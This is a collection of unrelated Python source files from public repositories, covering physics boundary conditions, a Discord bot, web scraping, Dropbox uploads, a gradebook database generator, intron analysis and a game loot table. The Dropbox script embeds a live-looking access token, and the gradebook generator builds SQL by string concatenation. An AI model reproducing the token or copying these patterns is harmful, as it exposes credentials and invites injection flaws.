'+str(rez))\r\nr=simplify(G.distance(H)/G.distance(O))\r\nprint('HG/GO : '+str(r))\r\n\r\n","repo_name":"e-scheiber/sympy_geometry","sub_path":"ProofsOfTheorems/Euler_line.py","file_name":"Euler_line.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41669612758","text":"\"\"\"\ncompressible-specific boundary conditions. Here, in particular, we\nimplement an HSE BC in the vertical direction.\n\nNote: the pyro BC routines operate on a single variable at a time, so\nsome work will necessarily be repeated.\n\"\"\"\n\nimport compressible.eos as eos\nfrom util import msg\n\ndef user(bc_name, bc_edge, variable, my_data):\n \"\"\"\n A hydrostatic boundary. This integrates the equation of HSE into\n the ghost cells to get the pressure and density under the assumption\n that the specific internal energy is constant.\n\n Upon exit, the ghost cells for the input variable will be set\n\n Parameters\n ----------\n bc_name : {'hse'}\n The descriptive name for the boundary condition -- this allows\n for pyro to have multiple types of user-supplied boundary\n conditions. For this module, it needs to be 'hse'.\n bc_edge : {'ylb', 'yrb'}\n The boundary to update: ylb = lower y boundary; yrb = upper y\n boundary.\n variable : {'density', 'x-momentum', 'y-momentum', 'energy'}\n The variable whose ghost cells we are filling\n my_data : CellCenterData2d object\n The data object\n\n \"\"\"\n dens = my_data.get_var(\"density\")\n xmom = my_data.get_var(\"x-momentum\")\n ymom = my_data.get_var(\"y-momentum\")\n ener = my_data.get_var(\"energy\")\n\n grav = my_data.get_aux(\"grav\")\n gamma = my_data.get_aux(\"gamma\")\n\n myg = my_data.grid\n\n if bc_name == \"hse\":\n\n if bc_edge == \"ylb\":\n\n # lower y boundary\n\n # we will take the density to be constant, the velocity to\n # be outflow, and the pressure to be in HSE\n if variable == \"density\":\n j = myg.jlo-1\n while j >= 0:\n dens.d[:,j] = dens.d[:,myg.jlo]\n j -= 1\n\n elif variable == \"x-momentum\":\n j = myg.jlo-1\n while j >= 0:\n xmom.d[:,j] = xmom.d[:,myg.jlo]\n j -= 1\n\n elif variable == \"y-momentum\":\n j = myg.jlo-1\n while j >= 0:\n ymom.d[:,j] = ymom.d[:,myg.jlo]\n j -= 1\n\n elif variable == \"energy\":\n dens_base = dens.d[:,myg.jlo]\n ke_base = 0.5*(xmom.d[:,myg.jlo]**2 + ymom.d[:,myg.jlo]**2) / \\\n dens.d[:,myg.jlo]\n\n eint_base = (ener.d[:,myg.jlo] - ke_base)/dens.d[:,myg.jlo]\n pres_base = eos.pres(gamma, dens_base, eint_base)\n\n # we are assuming that the density is constant in this\n # formulation of HSE, so the pressure comes simply from\n # differencing the HSE equation\n j = myg.jlo-1\n while (j >= 0):\n pres_below = pres_base - grav*dens_base*myg.dy\n rhoe = eos.rhoe(gamma, pres_below)\n\n ener.d[:,j] = rhoe + ke_base\n\n pres_base = pres_below.copy()\n\n j -= 1\n\n else:\n msg.fail(\"error: variable not defined\")\n\n\n elif bc_edge == \"yrb\":\n\n # upper y boundary\n\n # we will take the density to be constant, the velocity to\n # be outflow, and the pressure to be in HSE\n if variable == \"density\":\n for j in range(myg.jhi+1, myg.jhi+myg.ng+1):\n dens.d[:,j] = dens.d[:,myg.jhi]\n\n elif variable == \"x-momentum\":\n for j in range(myg.jhi+1, myg.jhi+myg.ng+1):\n xmom.d[:,j] = xmom.d[:,myg.jhi]\n\n elif variable == \"y-momentum\":\n for j in range(myg.jhi+1, myg.jhi+myg.ng+1):\n ymom.d[:,j] = ymom.d[:,myg.jhi]\n\n elif variable == \"energy\":\n dens_base = dens.d[:,myg.jhi]\n ke_base = 0.5*(xmom.d[:,myg.jhi]**2 + ymom.d[:,myg.jhi]**2) / \\\n dens.d[:,myg.jhi]\n\n eint_base = (ener.d[:,myg.jhi] - ke_base)/dens.d[:,myg.jhi]\n pres_base = eos.pres(gamma, dens_base, eint_base)\n\n # we are assuming that the density is constant in this\n # formulation of HSE, so the pressure comes simply from\n # differencing the HSE equation\n for j in range(myg.jhi+1, myg.jhi+myg.ng+1):\n pres_above = pres_base + grav*dens_base*myg.dy\n rhoe = eos.rhoe(gamma, pres_above)\n\n ener.d[:,j] = rhoe + ke_base\n\n pres_base = pres_above.copy()\n\n else:\n msg.fail(\"error: variable not defined\")\n\n\n else:\n msg.fail(\"error: hse BC not supported for xlb or xrb\")\n\n\n else:\n msg.fail(\"error: bc type %s not supported\" % (bc_name) )\n","repo_name":"lgbouma/pyro2","sub_path":"compressible/BC.py","file_name":"BC.py","file_ext":"py","file_size_in_byte":4817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"72184449066","text":"from dotenv import load_dotenv\nimport os\n\n# Load env vars from .env file\nload_dotenv()\n\nHOST = \"0.0.0.0\"\nPORT = 8000\nBASE_URL = f\"http://{HOST}:{PORT}/\"\n\n# GitHub\nGITHUB_CLIENT_ID = os.getenv(\"CLIENT_ID\")\nGITHUB_CLIENT_SECRET = os.getenv(\"CLIENT_SECRET\")","repo_name":"jdglaser/oauth-2-playground","sub_path":"python/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25615092729","text":"import discord\nfrom discord.ext import commands\nfrom discord.utils import get\n\nclass c129(commands.Cog, name=\"c129\"):\n\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n @commands.command(name='Anu_the_Lord_of_Darkness', aliases=['c129'])\n async def example_embed(self, ctx):\n embed = discord.Embed(title='Anu, the Lord of Darkness',\n color=0xFDE68A)\n embed.set_thumbnail(url='https://www.duelingbook.com/images/custom-pics/2300000/2334887.jpg')\n\n embed.add_field(name='Status (Archetype)', value='Casual:3/Tournament:3', inline=True)\n embed.add_field(name='Type (Attribute)', value='Spellcaster/Normal (DARK)', inline=False)\n embed.add_field(name='Level (ATK/DEF)', value='5 (2200/1500)', inline=False)\n embed.add_field(name='Lore Text', value='Feared by all who gazes upon his power, Anu rules over the darkness with an iron fist. It is said that Anu has his potential bottled away, awaiting for someone to release his true power.', inline=False)\n embed.set_footer(text='Set Code: ANCF')\n\n await ctx.send(embed=embed)\n\ndef setup(bot: commands.Bot):\n bot.add_cog(c129(bot))","repo_name":"ProfessorSean/Kasutamaiza","sub_path":"upcfcardsearch/c129.py","file_name":"c129.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21388290508","text":"# coding: utf8\n\n\"\"\"\nComme exercice pour jeudi je vous demande de crawler le résultat des comptes\nde la ville de Paris pour les exercices 2009 à 2013.\nVoici par exemple les comptes pour 2013 .\nJe vous demande de récupérer les données A,B,C et D sur les colonnes Euros\npar habitant et par strate.\n\"\"\"\n\nimport requests\nimport sys\nimport pandas\nimport re\nfrom bs4 import BeautifulSoup\n\ndebug_this_sh = True\n\n\ndef view_tag(tag, n=0):\n \"\"\"\n For debug, display tag content.\n \"\"\"\n\n print(n * '\\t' + '--------Tag--------')\n print(n * '\\t', tag)\n print(n * '\\t', '--------Tag Attributes--------')\n print(n * '\\t', tag.attrs)\n print(n * '\\t', '--------Tag String--------')\n print(n * '\\t', tag.string)\n\n\ndef to_integer(tag):\n \"\"\"\n To convert a string into integer and remove tricky chars from utf8.\n \"\"\"\n\n return int(tag.text.replace('\\xa0', '').replace(' ', ''))\n\n\ndef clean_string_to_float(in_string):\n \"\"\"\n :param in_string: the string to clean, like \"13€32\" or \"13,32\"\n :return: 13.32\n \"\"\"\n if len(in_string) > 0:\n out_string = in_string.replace(',', '.')\n out_string = out_string.replace('€', '.')\n else:\n out_string = '0'\n\n return out_string\n\n\ndef main():\n \"\"\"\n\n Craw 2 pages from cdiscount to reveal the total item price and the average discount.\n vendor_list = {'acer', 'dell'} (you can add amstrad if you want)\n\n :return: nothing\n \"\"\"\n\n # The base of the url\n base_url = 'http://www.cdiscount.com/informatique/ordinateurs-pc-portables/pc-portables/lf-228394_6-'\n\n # Vendor list\n vendor_list = {'acer', 'dell', 'apple'}\n\n # A counter per laptop, per brand\n laptop_number = -1\n\n # This DF will contain the result of the crawl\n df = pandas.DataFrame(columns=['Vendor', 'Model', 'Initial Price', 'Final Price'])\n\n for vendor_name in vendor_list:\n\n # Crawl in the 9 first pages\n for page_num in range(1, 3):\n # Display vendor\n print(vendor_name,\" page \", page_num)\n\n # Full ur www.....html?page=1\n url_full = base_url + vendor_name + '.html?page=' + str(page_num)\n\n # Create soup\n soup = BeautifulSoup(requests.get(url_full).text, \"html.parser\")\n\n # This contains the relevant 'class'\n for tag_tr in soup.find_all('div'):\n\n # Find the correct class\n if 'class' in tag_tr.attrs:\n\n if tag_tr.attrs['class'][0] == \"prdtBTit\":\n # Init the line\n laptop_number = laptop_number + 1\n df.loc[laptop_number, 'Vendor'] = vendor_name\n df.loc[laptop_number, 'Model'] = tag_tr.get_text()\n df.loc[laptop_number, 'Initial Price'] = 0\n df.loc[laptop_number, 'Final Price'] = 0\n\n if tag_tr.attrs['class'][0] == \"prdtPrSt\":\n df.loc[laptop_number, 'Initial Price'] = float(clean_string_to_float(tag_tr.get_text()))\n\n if tag_tr.attrs['class'][0] == \"prdtPrice\":\n df.loc[laptop_number, 'Final Price'] = float(clean_string_to_float(tag_tr.get_text()))\n\n # No discounted laptop have only Final Price, let's update Initial Price\n if df.loc[laptop_number, 'Initial Price'] == 0:\n df.loc[laptop_number, 'Initial Price'] = df.loc[laptop_number, 'Final Price']\n\n\n for vendor_name in vendor_list:\n # Final result per vendo\n initial_price = df[df['Vendor'] == vendor_name]['Initial Price'].sum()\n final_price = df[df['Vendor'] == vendor_name]['Final Price'].sum()\n\n # Display\n print(\"Initial Price\", vendor_name, \"\\t\\t\\t\", initial_price)\n print(\"Final Price\", vendor_name, \"\\t\\t\\t\", final_price)\n print(\"Discount\", vendor_name, \"\\t\\t\\t\", 1 - final_price / initial_price)\n\n sys.exit(1)\n\nif __name__ == '__main__':\n main()","repo_name":"SkatiRCI/starter-kit-datascience","sub_path":"romain-picon/Lesson3/exo_dom_lesson_03.py","file_name":"exo_dom_lesson_03.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"17610874053","text":"import os\nimport dropbox\n\nos.system('cls' if os.name == 'nt' else 'clear')\n\naccess_token = \"sl.BBfW--OcIcxoFsn8wgiBuC9fpqBrPY0LR8fXxz6Z7Jj2z-XZ-SF8ILVpUEdc3fcNFgawcY9164H90kleFnEouBpqchL2rGjAfIzIkjQcsKKmSmOMMXsbwmfBzKDx3zWFZ4mVG2cgjbJt\"\n\nsw = False \n\ntry:\n dbx = dropbox.Dropbox(oauth2_access_token=access_token, oauth2_access_token_expiration='2030-12-30')\n dbx.users_get_current_account()\n # print(dbx.users_get_current_account())\n dropbox_user_name = dbx.users_get_current_account().name.display_name\n dropbox_email = dbx.users_get_current_account().email\n print(\"---------------------------------------\")\n print('Autenticación Dropbox: \\nPropiedad de: {} <{}>'.format(dropbox_user_name, dropbox_email))\n print(\"---------------------------------------\")\nexcept dropbox.auth.AuthError as err:\n print(err)\n\n# upload_file\ndef dropbox_upload_file(local_path, local_file, dropbox_file_path):\n try:\n file_local = local_path + '/' + local_file\n file_dbox = dropbox_file_path + '/' + local_file \n dbx.files_upload(open(file_local, 'rb').read(), file_dbox, mode=dropbox.files.WriteMode(\"overwrite\"))\n global sw \n sw = True \n except Exception as e:\n print('\\nError uploading file to Dropbox: ' + str(e))\n\n# listar_file\ndef dropbox_list_files(path):\n try:\n files = dbx.files_list_folder(path).entries \n print('\\ncarpeta ' + path + ':' + '\\n-------------------')\n for file in files:\n print(file.name)\n except Exception as e:\n print('\\n' + str(e))\n\n#listar archivos en carpeta '.' \ncon = 0\narc = [] \nr = 0\narchivos = os.listdir('.')\nfor archivo in archivos:\n arc.append(archivo) \n con+=1\n print( str(con) + \") \" + archivo)\n\nwhile True:\n print('Ingrese numero: ')\n r = int(input())\n if r >= 1 and r<=con:\n break \n\n# \nif r != 0:\n dropbox_upload_file('.', arc[r-1], '/favoritos')\n if (sw):\n dropbox_list_files('/favoritos')\n else:\n print('\\nNo se pudo Listar los archivos\\n')\n\nprint('\\n') \n","repo_name":"csp3/midropbox","sub_path":"midropbox.py","file_name":"midropbox.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28765553478","text":"__author__ = \"Nantia Leonidou\"\n__description__ = \" Format Recon3D to be read from Matlab code\"\n\n\nimport cobra\nfrom cobra.io import *\n\n# format Recon2.2\nmodel_recon2 = read_sbml_model('dataset/Recon2.2.xml')\nfor idx,g in enumerate(model_recon2.genes):\n #print('before',model.genes[idx].id)\n new_id = g.id.replace(':','_')\n model_recon2.genes[idx].id.replace(model_recon2.genes[idx].id,new_id)\n model_recon2.genes[idx].name.replace(model_recon2.genes[idx].name, new_id)\n #print('after',model.genes[idx].id)\ncobra.io.write_sbml_model(model_recon2, \"Recon2.2_formatted.xml\")\n\nmodel= read_sbml_model('dataset/Recon3D.xml')\n# format Recon3D\n# format reactions\nfor idx in range(len(model.reactions)):\n react = model.reactions[idx]\n\n if react.id.startswith('EX_') or react.id.startswith('DM_'):\n new_id = react.id.replace(react.id[-2:], '('+react.id[-1]+')')\n model.reactions[idx].id = new_id\n\n# format metabolites\nfor j in range(len(model.metabolites)):\n met = model.metabolites[j]\n new_met = met.id.replace(met.id[-2:], '[' + met.id[-1] + ']')\n model.metabolites[j].id = new_met\n\n# format gene names\n# for i in range(len(model.genes)):\n# gene = model.genes[i]\n# new_gene = gene.id.replace(gene.id[-4:],'.0')\n# #print(new_gene)\n# model.genes[i].id = new_gene\n# #print(model.genes[idx].id)\n\n\n# save model in mat file\ncobra.io.write_sbml_model(model, \"Recon2.2_formatted.xml\")\n\n","repo_name":"draeger-lab/pymCADRE","sub_path":"pre_processing_scripts/format_model_matlab.py","file_name":"format_model_matlab.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"32198300295","text":"l = []\nn = int(input())\nfor i in range(n):\n all = input().split(\" \")\n cmd = all[0]\n num = all[1:]\n if cmd != \"print\":\n cmd += \"(\" + \",\".join(num) + \")\"\n eval(\"l.\"+cmd)\n else:\n print(list(l))\n\n","repo_name":"VictorGasperi/Exercicios-Python","sub_path":"Arquivos-codigos/Lists.py","file_name":"Lists.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18595395221","text":"import os\nimport random\nimport sqlite3\n\ntables = [ \n \"CREATE TABLE IF NOT EXISTS students (\\\n id integer primary key, \\\n sid text not null unique, \\\n first text not null, \\\n last text not null)\",\n \"CREATE TABLE IF NOT EXISTS courses (\\\n id integer primary key, \\\n title text not null)\",\n \"CREATE TABLE IF NOT EXISTS assessments (\\\n id integer primary key, \\\n title text not null, \\\n cid text not null)\",\n \"CREATE TABLE IF NOT EXISTS grades (\\\n id integer primary key, \\\n sid text not null, \\\n cid text not null, \\\n aid text not null, \\\n value text not null)\",\n \"CREATE TABLE IF NOT EXISTS course_student (\\\n id integer primary key, \\\n sid text not null, \\\n cid text not null)\",\n ]\nstudents = [ 32, 25 ]\ncourses = [ \"MATH-217\", \"CSCI-217\" ]\nassessments = [ 20, 32 ]\nnames = [ \"John\", \"Jane\" ]\n\nif os.path.exists('gb.db'):\n os.remove('gb.db')\n\nconn = sqlite3.connect('gb.db')\n\nc = conn.cursor()\n\nfor table in tables:\n c.execute(table)\n\nfor x in range(len(courses)):\n c.execute(\"INSERT INTO courses VALUES (NULL, '\" + str(courses[x]) + \"')\")\n cid = c.execute(\"SELECT id FROM courses WHERE title='\" + str(courses[x]) + \"'\").fetchone()[0]\n for y in range(assessments[x]):\n c.execute(\"INSERT INTO assessments VALUES (NULL,'assessment\" + str(y) + \"','\" + str(cid) + \"')\")\n for y in range(students[x]):\n actual_sid = random.randint(900000, 1000000)\n name = random.randint(0, 1)\n c.execute(\"INSERT INTO students VALUES (NULL,'\" + str(actual_sid) + \"','\" + str(names[name]) + \"','Doe')\")\n sid = c.execute(\"SELECT id FROM students WHERE sid='\" + str(actual_sid) + \"'\").fetchone()[0]\n c.execute(\"INSERT INTO course_student VALUES (NULL,'\" + str(sid) + \"','\" + str(cid) + \"')\")\n for z in range(assessments[x]):\n value = random.randint(0, 100)\n aid = c.execute(\"SELECT id FROM assessments WHERE title='assessment\" + str(z) + \"' AND cid='\" + str(cid) + \"'\").fetchone()[0]\n c.execute(\"INSERT INTO grades VALUES (NULL,'\" + str(sid) + \"','\" + str(cid) + \"','\" + str(aid) + \"','\" + str(value) + \"')\")\n\nconn.commit()\n\nconn.close()\n","repo_name":"ChicoState/lakers","sub_path":"tests/data/gen_db.py","file_name":"gen_db.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25127040808","text":"#!/usr/bin/env python\n\nimport sys\nimport math\nimport os.path\n\nimport Script\n\n### Program object\n\ndef usage():\n progname = os.path.split(sys.argv[0])[1]\n sys.stderr.write(\"\"\"{} - Analyze intron retention.\n\nUsage: {} [options] intronsdb\n\nOptions:\n -i1 FILE | Name of BED file for introns in sample 1 (required)\n -i2 FILE | Name of BED file for introns in sample 2 (required)\n -j1 FILE | Name of BED file for junctions in sample 1\n -j2 FILE | Name of BED file for junctions in sample 2\n -o FILE | Set output file to FILE (default: stdout)\n -fc F | Set fold change threshold to F (default: {})\n -t T | Set coverage threshold to T (default: {})\n\n\"\"\".format(progname, progname, Params.fc, Params.thr))\n\nP = Script.Script(\"compareIntrons\", version=\"1.0\", usage=usage)\n\ndef readBEDfile(bedfile):\n dict = {}\n sys.stderr.write(\"Reading `{}'... \".format(bedfile))\n with open(bedfile, \"r\") as f:\n for line in f:\n parsed = line.rstrip(\"\\r\\n\").split(\"\\t\")\n dict[parsed[3]] = float(parsed[7])\n sys.stderr.write(\"done, {} entries.\\n\".format(len(dict)))\n return dict\n\ndef dget(key, dict):\n if key in dict:\n return dict[key]\n else:\n return 0.0\n\nclass Params():\n bedfile = None\n introns1file = None\n juncs1file = None\n introns2file = None\n juncs2file = None\n outfile = None\n fc = 1\n thr = 0.00001\n intr1 = {}\n junc1 = {}\n intr2 = {}\n junc2 = {}\n\n def __init__(self):\n self.intr1 = {}\n self.junc1 = {}\n self.intr2 = {}\n self.junc2 = {}\n\n def parseArgs(self, args):\n P.standardOpts(args)\n next = \"\"\n for a in args:\n if next == \"-i1\":\n self.introns1file = P.isFile(a)\n next = \"\"\n elif next == \"-j1\":\n self.juncs1file = P.isFile(a)\n next = \"\"\n elif next == \"-i2\":\n self.introns2file = P.isFile(a)\n next = \"\"\n elif next == \"-j2\":\n self.juncs2file = P.isFile(a)\n next = \"\"\n elif next == \"-o\":\n self.outfile = a\n next = \"\"\n elif next == \"-fc\":\n self.fc = P.toFloat(a)\n next = \"\"\n elif next == \"-t\":\n self.thr = P.toFloat(a)\n next = \"\"\n elif a in [\"-i1\", \"-j1\", \"-i2\", \"-j2\", \"-fc\", \"-o\", \"-t\"]:\n next = a\n else:\n self.bedfile = a\n if self.bedfile == None or self.introns1file == None or self.introns2file == None:\n P.errmsg(P.NOFILE)\n \n def readFiles(self):\n self.intr1 = readBEDfile(self.introns1file)\n if self.juncs1file != None:\n self.juncs1 = readBEDfile(self.juncs1file)\n self.intr2 = readBEDfile(self.introns2file)\n if self.juncs2file != None:\n self.juncs2 = readBEDfile(self.juncs2file)\n\n def compare(self, out):\n nin = 0\n nup = 0\n ndown = 0\n maxup = 0\n maxdn = 0\n with open(self.bedfile, \"r\") as f:\n for line in f:\n nin += 1\n parsed = line.rstrip(\"\\r\\n\").split(\"\\t\")\n intron = parsed[3]\n gene = parsed[4]\n sp = intron.split(\"_\")\n tx = sp[0]\n intid = sp[1]\n iv1 = dget(intron, self.intr1)\n iv2 = dget(intron, self.intr2)\n if self.juncs1file:\n iv1 = (iv1 + dget(intron + \"_a\", self.juncs1) + dget(intron + \"_b\", self.juncs1)) / 3.0\n if self.juncs2file:\n iv2 = (iv2 + dget(intron + \"_a\", self.juncs2) + dget(intron + \"_b\", self.juncs2)) / 3.0\n\n if iv1 == 0 and iv2 == 0:\n pass\n elif iv1 == 0:\n if iv2 >= self.thr:\n out.write(\"{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n\".format(gene, tx, intid, iv1, iv2, \"+inf\"))\n elif iv2 == 0:\n if iv1 >= self.thr:\n out.write(\"{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n\".format(gene, tx, intid, iv1, iv2, \"-inf\"))\n else:\n l2fc = math.log(iv2/iv1, 2)\n if abs(l2fc) > self.fc:\n out.write(\"{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n\".format(gene, tx, intid, iv1, iv2, l2fc))\n if l2fc > 0:\n nup += 1\n if l2fc > maxup:\n maxup = l2fc\n else:\n ndown += 1\n if l2fc < maxdn:\n maxdn = l2fc\n return (nin, nup, ndown, maxup, maxdn)\n\nif __name__ == \"__main__\":\n PA = Params()\n PA.parseArgs(sys.argv[1:])\n PA.readFiles()\n if PA.outfile:\n with open(PA.outfile, \"w\") as out:\n (nin, nup, ndown, maxup, maxdn) = PA.compare(out)\n else:\n (nin, nup, ndown, maxup, maxdn) = PA.compare(sys.stdout)\n\n sys.stderr.write(\"{}\\t{}\\t{}\\t{}\\t{}\\n\".format(nin, nup, ndown, maxup, maxdn))\n","repo_name":"uf-icbr-bioinformatics/bioscripts","sub_path":"compareIntrons.py","file_name":"compareIntrons.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"24513594281","text":"from sqlalchemy import Column, Integer, ForeignKey\nfrom sqlalchemy.orm import relationship\nimport random\n\nfrom database.main import Base, session\n\n\nclass LootTableSchema(Base):\n \"\"\"\n The loot table of a specific monster.\n entry - the unique ID of this loot table\n itemX_ID - the ID of the item this creature can drop\n itemX_chance - the chance in percentage (0-100%) for the item to drop\n entry, item1_ID, item1_chance, item2_ID, item2_chance, item3_ID, item3_chance, ... item20_ID, item20_chance\n 1, 4, 55, 3, 30, 0, 0, 0, 0\n Meaning a creature whose col loot_table_ID from creature_template is equal to 1 has:\n 55% chance to drop Item with ID 4\n 30% chance to drop Item with ID 3\n Does not drop any more items, because the rest of the rows are 0s.\n \"\"\"\n __tablename__ = 'loot_table'\n\n entry = Column(Integer, primary_key=True)\n item1_id = Column(Integer, ForeignKey('item_template.entry'))\n item1_chance = Column(Integer)\n item1 = relationship('ItemTemplateSchema', foreign_keys=[item1_id])\n\n item2_id = Column(Integer, ForeignKey('item_template.entry'))\n item2_chance = Column(Integer)\n item2 = relationship('ItemTemplateSchema', foreign_keys=[item2_id])\n\n item3_id = Column(Integer, ForeignKey('item_template.entry'))\n item3_chance = Column(Integer)\n item3 = relationship('ItemTemplateSchema', foreign_keys=[item3_id])\n\n item4_id = Column(Integer, ForeignKey('item_template.entry'))\n item4_chance = Column(Integer)\n item4 = relationship('ItemTemplateSchema', foreign_keys=[item4_id])\n\n item5_id = Column(Integer, ForeignKey('item_template.entry'))\n item5_chance = Column(Integer)\n item5 = relationship('ItemTemplateSchema', foreign_keys=[item5_id])\n\n item6_id = Column(Integer, ForeignKey('item_template.entry'))\n item6_chance = Column(Integer)\n item6 = relationship('ItemTemplateSchema', foreign_keys=[item6_id])\n\n item7_id = Column(Integer, ForeignKey('item_template.entry'))\n item7_chance = Column(Integer)\n item7 = relationship('ItemTemplateSchema', foreign_keys=[item7_id])\n\n item8_id = Column(Integer, ForeignKey('item_template.entry'))\n item8_chance = Column(Integer)\n item8 = relationship('ItemTemplateSchema', foreign_keys=[item8_id])\n\n item9_id = Column(Integer, ForeignKey('item_template.entry'))\n item9_chance = Column(Integer)\n item9 = relationship('ItemTemplateSchema', foreign_keys=[item9_id])\n\n item10_id = Column(Integer, ForeignKey('item_template.entry'))\n item10_chance = Column(Integer)\n item10 = relationship('ItemTemplateSchema', foreign_keys=[item10_id])\n\n item11_id = Column(Integer, ForeignKey('item_template.entry'))\n item11_chance = Column(Integer)\n item11 = relationship('ItemTemplateSchema', foreign_keys=[item11_id])\n\n item12_id = Column(Integer, ForeignKey('item_template.entry'))\n item12_chance = Column(Integer)\n item12 = relationship('ItemTemplateSchema', foreign_keys=[item12_id])\n\n item13_id = Column(Integer, ForeignKey('item_template.entry'))\n item13_chance = Column(Integer)\n item13 = relationship('ItemTemplateSchema', foreign_keys=[item13_id])\n\n item14_id = Column(Integer, ForeignKey('item_template.entry'))\n item14_chance = Column(Integer)\n item14 = relationship('ItemTemplateSchema', foreign_keys=[item14_id])\n\n item15_id = Column(Integer, ForeignKey('item_template.entry'))\n item15_chance = Column(Integer)\n item15 = relationship('ItemTemplateSchema', foreign_keys=[item15_id])\n\n item16_id = Column(Integer, ForeignKey('item_template.entry'))\n item16_chance = Column(Integer)\n item16 = relationship('ItemTemplateSchema', foreign_keys=[item16_id])\n\n item17_id = Column(Integer, ForeignKey('item_template.entry'))\n item17_chance = Column(Integer)\n item17 = relationship('ItemTemplateSchema', foreign_keys=[item17_id])\n\n item18_id = Column(Integer, ForeignKey('item_template.entry'))\n item18_chance = Column(Integer)\n item18 = relationship('ItemTemplateSchema', foreign_keys=[item18_id])\n\n item19_id = Column(Integer, ForeignKey('item_template.entry'))\n item19_chance = Column(Integer)\n item19 = relationship('ItemTemplateSchema', foreign_keys=[item19_id])\n\n item20_id = Column(Integer, ForeignKey('item_template.entry'))\n item20_chance = Column(Integer)\n item20 = relationship('ItemTemplateSchema', foreign_keys=[item20_id])\n\n def decide_drops(self) -> ['Item']:\n \"\"\"\n This method gets the loot that has dropped, rolls the dice on each drop\n to decide if it should drop or not\n :return: A list of the Item objects that have dropped\n \"\"\"\n item_pairs = [(self.item1, self.item1_chance), (self.item2, self.item2_chance), (self.item3, self.item3_chance), (self.item4, self.item4_chance),\n (self.item5, self.item5_chance), (self.item6, self.item6_chance), (self.item7, self.item7_chance), (self.item8, self.item8_chance),\n (self.item9, self.item9_chance), (self.item10, self.item10_chance), (self.item11, self.item11_chance), (self.item12, self.item12_chance),\n (self.item13, self.item13_chance), (self.item14, self.item14_chance), (self.item15, self.item15_chance),\n (self.item16, self.item16_chance),\n (self.item17, self.item17_chance), (self.item18, self.item18_chance), (self.item19, self.item19_chance),\n (self.item20, self.item20_chance)]\n valid_item_pairs = [(item, chance) for item, chance in item_pairs if item is not None and chance != 0]\n dropped_items = []\n\n for item, drop_chance in valid_item_pairs:\n '''\n Generate a random float from 0.0 to ~0.9999 with random.random(), then multiply it by 100\n and compare it to the drop_chance. If the drop_chance is bigger, the item has dropped.\n\n Example: drop chance is 30% and we roll a random float. There's a 70% chance to get a float that's bigger\n than 0.3 and a 30% chance to get a float that's smaller. Therefore if we get 0.3 and below,\n the 30% chance has been satisfied.\n We roll 0.25, multiply it by 100 = 25 and see\n that the drop chance is bigger, therefore the item should drop.\n '''\n random_roll: float = random.random()\n if drop_chance >= (random_roll * 100):\n dropped_items.append(item.convert_to_item_object())\n\n return dropped_items\n\n\n# load all the loot tables in memory so that future SQLAlchemy queries do not access the DB\n# NOTE: Do not do this if the loot tables become more than 500 !\nloot_tables = session.query(LootTableSchema).all()\n","repo_name":"stanislavkozlovski/python_wow","sub_path":"models/items/loot_table.py","file_name":"loot_table.py","file_ext":"py","file_size_in_byte":6803,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"37"} +{"seq_id":"7804417181","text":"#!/usr/bin/python\n#\n# Author: Srikar Rajamani\n#\nimport sys\nimport json\n\nimport errno\nimport requests\nimport yaml\n#import httplib\nimport logging.handlers\nimport py2neo\nimport random\nimport argparse\nimport os\nimport re\n\nfrom requests_toolbelt.multipart.encoder import MultipartEncoder\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nfrom requests.packages.urllib3.exceptions import InsecurePlatformWarning\nfrom requests.packages.urllib3.exceptions import SNIMissingWarning\nfrom os.path import expanduser\nfrom urllib.parse import urlparse\n\nlogFormatter = logging.Formatter(\n \"%(asctime)s %(name)s [%(processName)-12.12s] [%(levelname)-5.5s] %(message)s\")\nlog = logging.getLogger('mosaix.core')\n\nconsoleHandler = logging.StreamHandler(sys.stdout)\nconsoleHandler.setFormatter(logFormatter)\nlog.addHandler(consoleHandler)\nlog.setLevel(logging.INFO)\n\n#httplib.HTTPConnection.debuglevel = 0\nrequests_log = logging.getLogger(\"requests.packages.urllib3\")\nrequests_log.setLevel(logging.INFO)\nrequests_log.propagate = True\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\nrequests.packages.urllib3.disable_warnings(InsecurePlatformWarning)\nrequests.packages.urllib3.disable_warnings(SNIMissingWarning)\n\ndef get_config_tuple(ep_env_name, creds_env_name, default_creds):\n endpoint = os.environ[ep_env_name]\n username, password = os.environ.get(creds_env_name, default_creds).split('@')\n return endpoint, username, password\n\ndef get_cloudos_info():\n return get_config_tuple('CLOUDOS_IP', 'CLOUDOS_CREDS', 'admin@admin')\n\ndef get_mkg_info():\n return get_config_tuple('MKG_DB', 'MKG_CREDS', 'neo4j@mosaix')\n\n\nclass cloudos_client:\n \"Core APIs to communicate with Mosaix FrontEnd over REST channel\"\n\n def __init__(self, verbose_mode=False):\n self.token = None\n self.baseurl, self.username, self.password = get_cloudos_info()\n if not self.baseurl or not self.username or not self.password:\n raise Exception('Cannot 